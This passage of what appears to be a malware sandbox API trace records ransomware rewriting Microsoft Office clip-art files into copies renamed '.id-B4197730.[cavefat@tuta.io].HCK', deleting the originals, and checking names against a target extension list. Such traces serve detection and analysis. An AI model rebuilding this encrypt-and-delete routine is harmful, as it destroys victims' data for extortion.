(hFile=0x388) returned 1 [0171.217] CloseHandle (hObject=0x388) returned 1 [0171.221] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.221] SetEndOfFile (hFile=0x30c) returned 1 [0171.226] CloseHandle (hObject=0x30c) returned 1 [0171.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234001.wmf")) returned 1 [0171.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0171.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0171.231] lstrlenW (lpString=".doc") returned 4 [0171.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.231] lstrlenW (lpString=".docx") returned 5 [0171.231] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0171.231] lstrlenW (lpString=".pdf") returned 4 [0171.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.231] lstrlenW (lpString=".xls") returned 4 [0171.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.231] lstrlenW (lpString=".xlsx") returned 5 [0171.231] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0171.231] lstrlenW (lpString=".ppt") returned 4 [0171.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0171.231] lstrlenW (lpString=".zip") returned 4 [0171.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.231] lstrlenW (lpString=".rar") returned 4 [0171.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.231] lstrlenW (lpString=".bz2") returned 4 [0171.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.231] lstrlenW (lpString=".7z") returned 3 [0171.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0171.231] lstrlenW (lpString=".dbf") returned 4 [0171.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0171.231] lstrlenW (lpString=".1cd") returned 4 [0171.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0171.231] lstrlenW (lpString=".jpg") returned 4 [0171.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0171.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0171.231] lstrlenW (lpString=".doc") returned 4 [0171.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.232] lstrlenW (lpString=".docx") returned 5 [0171.232] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0171.232] lstrlenW (lpString=".pdf") returned 4 [0171.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.232] lstrlenW (lpString=".xls") returned 4 [0171.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.232] lstrlenW (lpString=".xlsx") returned 5 [0171.232] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0171.232] lstrlenW (lpString=".ppt") returned 4 [0171.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0171.232] lstrlenW (lpString=".zip") returned 4 [0171.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.232] lstrlenW (lpString=".rar") returned 4 [0171.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.232] lstrlenW (lpString=".bz2") returned 4 [0171.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.232] lstrlenW (lpString=".7z") returned 3 [0171.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0171.232] lstrlenW (lpString=".dbf") returned 4 [0171.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0171.232] lstrlenW (lpString=".1cd") returned 4 [0171.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF") returned 68 [0171.232] lstrlenW (lpString=".jpg") returned 4 [0171.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.232] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.232] lstrlenW (lpString="J0237336.WMF") returned 12 [0171.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.239] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=24770) returned 1 [0171.239] CloseHandle (hObject=0x370) returned 1 [0171.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf")) returned 0x220 [0171.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.244] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.244] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.252] GetLastError () returned 0x0 [0171.252] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x60c2, lpOverlapped=0x0) returned 1 [0171.255] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x60d0, lpOverlapped=0x0) returned 1 [0171.256] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.256] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.256] SetEndOfFile (hFile=0x378) returned 1 [0171.259] CloseHandle (hObject=0x378) returned 1 [0171.260] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.260] SetEndOfFile (hFile=0x370) returned 1 [0171.267] CloseHandle (hObject=0x370) returned 1 [0171.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf")) returned 1 [0171.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0171.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0171.276] lstrlenW (lpString=".doc") returned 4 [0171.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.276] lstrlenW (lpString=".docx") returned 5 [0171.276] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.276] lstrlenW (lpString=".pdf") returned 4 [0171.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.276] lstrlenW (lpString=".xls") returned 4 [0171.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.276] lstrlenW (lpString=".xlsx") returned 5 [0171.276] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.276] lstrlenW (lpString=".ppt") returned 4 [0171.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0171.276] lstrlenW (lpString=".zip") returned 4 [0171.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.276] lstrlenW (lpString=".rar") returned 4 [0171.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.276] lstrlenW (lpString=".bz2") returned 4 [0171.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.276] lstrlenW (lpString=".7z") returned 3 [0171.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0171.276] lstrlenW (lpString=".dbf") returned 4 [0171.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0171.276] lstrlenW (lpString=".1cd") returned 4 [0171.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0171.276] lstrlenW (lpString=".jpg") returned 4 [0171.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0171.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0171.276] lstrlenW (lpString=".doc") returned 4 [0171.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.276] lstrlenW (lpString=".docx") returned 5 [0171.276] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.277] lstrlenW (lpString=".pdf") returned 4 [0171.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.277] lstrlenW (lpString=".xls") returned 4 [0171.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.277] lstrlenW (lpString=".xlsx") returned 5 [0171.277] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.277] lstrlenW (lpString=".ppt") returned 4 [0171.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0171.277] lstrlenW (lpString=".zip") returned 4 [0171.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.277] lstrlenW (lpString=".rar") returned 4 [0171.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.277] lstrlenW (lpString=".bz2") returned 4 [0171.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.277] lstrlenW (lpString=".7z") returned 3 [0171.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0171.277] lstrlenW (lpString=".dbf") returned 4 [0171.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0171.277] lstrlenW (lpString=".1cd") returned 4 [0171.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0171.277] lstrlenW (lpString=".jpg") returned 4 [0171.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.277] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.277] lstrlenW (lpString="J0238959.WMF") returned 12 [0171.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238959.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.283] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7484) returned 1 [0171.283] CloseHandle (hObject=0x378) returned 1 [0171.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238959.wmf")) returned 0x220 [0171.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238959.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.287] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.287] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238959.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.294] GetLastError () returned 0x0 [0171.294] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1d3c, lpOverlapped=0x0) returned 1 [0171.298] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1d40, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1d40, lpOverlapped=0x0) returned 1 [0171.299] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.299] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.299] SetEndOfFile (hFile=0x370) returned 1 [0171.301] CloseHandle (hObject=0x370) returned 1 [0171.302] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.302] SetEndOfFile (hFile=0x378) returned 1 [0171.307] CloseHandle (hObject=0x378) returned 1 [0171.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238959.wmf")) returned 1 [0171.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0171.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0171.313] lstrlenW (lpString=".doc") returned 4 [0171.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.313] lstrlenW (lpString=".docx") returned 5 [0171.313] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0171.313] lstrlenW (lpString=".pdf") returned 4 [0171.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.313] lstrlenW (lpString=".xls") returned 4 [0171.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.313] lstrlenW (lpString=".xlsx") returned 5 [0171.313] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0171.313] lstrlenW (lpString=".ppt") returned 4 [0171.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0171.313] lstrlenW (lpString=".zip") returned 4 [0171.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.313] lstrlenW (lpString=".rar") returned 4 [0171.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.313] lstrlenW (lpString=".bz2") returned 4 [0171.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.313] lstrlenW (lpString=".7z") returned 3 [0171.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0171.313] lstrlenW (lpString=".dbf") returned 4 [0171.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0171.313] lstrlenW (lpString=".1cd") returned 4 [0171.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0171.313] lstrlenW (lpString=".jpg") returned 4 [0171.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0171.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0171.313] lstrlenW (lpString=".doc") returned 4 [0171.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.313] lstrlenW (lpString=".docx") returned 5 [0171.313] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0171.313] lstrlenW (lpString=".pdf") returned 4 [0171.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.314] lstrlenW (lpString=".xls") returned 4 [0171.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.314] lstrlenW (lpString=".xlsx") returned 5 [0171.314] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0171.314] lstrlenW (lpString=".ppt") returned 4 [0171.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0171.314] lstrlenW (lpString=".zip") returned 4 [0171.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.314] lstrlenW (lpString=".rar") returned 4 [0171.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.314] lstrlenW (lpString=".bz2") returned 4 [0171.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.314] lstrlenW (lpString=".7z") returned 3 [0171.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0171.314] lstrlenW (lpString=".dbf") returned 4 [0171.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0171.314] lstrlenW (lpString=".1cd") returned 4 [0171.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0171.314] lstrlenW (lpString=".jpg") returned 4 [0171.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.314] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.314] lstrlenW (lpString="J0239079.WMF") returned 12 [0171.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239079.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.320] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4756) returned 1 [0171.320] CloseHandle (hObject=0x370) returned 1 [0171.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239079.wmf")) returned 0x220 [0171.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239079.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239079.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.329] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.329] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239079.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0171.339] GetLastError () returned 0x0 [0171.339] ReadFile (in: hFile=0x374, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1294, lpOverlapped=0x0) returned 1 [0171.341] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x12a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x12a0, lpOverlapped=0x0) returned 1 [0171.342] ReadFile (in: hFile=0x374, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.342] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.342] SetEndOfFile (hFile=0x364) returned 1 [0171.346] CloseHandle (hObject=0x364) returned 1 [0171.346] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.346] SetEndOfFile (hFile=0x374) returned 1 [0171.349] CloseHandle (hObject=0x374) returned 1 [0171.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF.id-B4197730.[cavefat@tuta.io].HCK", 